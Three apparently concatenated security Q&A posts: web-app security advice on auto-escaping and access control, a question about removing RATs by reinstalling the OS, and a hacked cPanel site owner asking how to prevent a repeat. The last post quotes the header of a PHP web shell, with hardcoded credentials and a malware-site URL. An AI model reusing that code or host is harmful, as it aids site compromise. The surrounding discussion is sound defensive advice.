Something I've learned from experience: developers (myself included) can and WILL forget things. SQLi is a great example: if you rely on developers to use an escape_string(user_input) every time it's used, they WILL forget.

Ditto XSS and XSRF: developers will always miss at least one place that strings can be escaped. And CSP isn't a 100% fix for XSS.

It's absolutely critical that frameworks/libraries are used that are invulnerable to those problems (or where opt-in is necessary). I don't know ASP.net specifically, so I can't really recommend one, but a term to look for is "contextual auto-escaping" (for XSS).

In terms of other problems, I suggest checking out the OWASP Top 10 - they do a pretty good job of showing what the important thing is.

One thing I'd watch out for especially is "insecure direct object reference" or "forced browsing" - ensuring that ACLs are applied at every page load. And going back to the first thing I said, they should be applied automatically - the developer shouldn't have to remember to do it. Any insecure behaviour should be explicitly opt-in.

Hope that helps!


Removing RATs via OS reinstallation Last week my group of friends and I were discussing about RAT and my friend told me that RAT can be removed by reinstalling your OS, and factory reset doesn't solve the problem. So I googled around but didn't get a clear and direct answer.

So my question: Does factory reset remove RATs completely or is it less effective than OS reinstallation?? If not, why?

"RATs" or Remote Access Tools are pieces of software.

The issue is when you discuss things, everyone makes certain assumptions. For instance, I'm assuming you are talking about remote access by software.

Intel has a remote access "tool" via it's VPro platform, which isn't software. It's built into the processor/chipset. An OS reinstall would not remove it, and with VPro an administrator can even access the BIOS remotely.

If you want to make another assumption that the tool has a rootkit, and has even place itself into the boot sector, a reformat and reinstall would still remove it. A simple reinstall might not, as the Windows installer might not clear the boot sector.


Website hacked, how to safeguard in future? I have linode server with cPanel installed on it. One of website on that server got hacked and I get email from cPanel with following information

Top Processes
PID     Owner   CPU %   Memory %    Command
30005   princecy    38.32   0.54    /usr/bin/php /home/princecy/public_html/cms/uplode/pro_image/ahmed/dhanush.php
30972   princecy    34.04   0.54    /usr/bin/php /home/princecy/public_html/cms/uplode/pro_image/ahmed/dhanush.php
30989   princecy    33.90   0.54    /usr/bin/php /home/princecy/public_html/cms/uplode/pro_image/ahmed/dhanush.php
305     princecy    29.20   0.54    /usr/bin/php /home/princecy/public_html/cms/uplode/pro_image/ahmed/dhanush.php
334     princecy    29.15   0.54    /usr/bin/php /home/princecy/public_html/cms/uplode/pro_image/ahmed/dhanush.php

Edited
Actually CMS application is developed by some other person we have transferred it to our server till we develop website in Wordpress. Maybe it is the culprit. It is some malicious code. In past one of other website was also got hacked by same way. I have found that there is file error_log.php in website root which have malicious code in it started as following (not pasting whole code)

    <?php
//========================================//
//========+++Dhanush+++==========//
//========================================//
//====+++Coded By Arjun+++===//
//========================================//
//=====+++An Indian Hacker+++=====//
//========================================//
//====Magh-2070/Feb-2014====//

// Set Username & Password
$user = "r4X";
$pass = "r4X";

$malsite = "http://jolygoestobeinvester.ru/";  // Malware Site

Now I have deleted the whole website from that place and doing the complete restore from earlier backup. But I want to be safeguard in future.

It seems to me that someone was able to exploit upload functionality to upload a php file to that directory.

You should search for lines of code that reference that directory, and ensure that any functionality that is uploading content to that directory is checking for a whitelisted set of extensions.(.png, .jpg, etc)

Further, you should not store user uploaded files in the web root.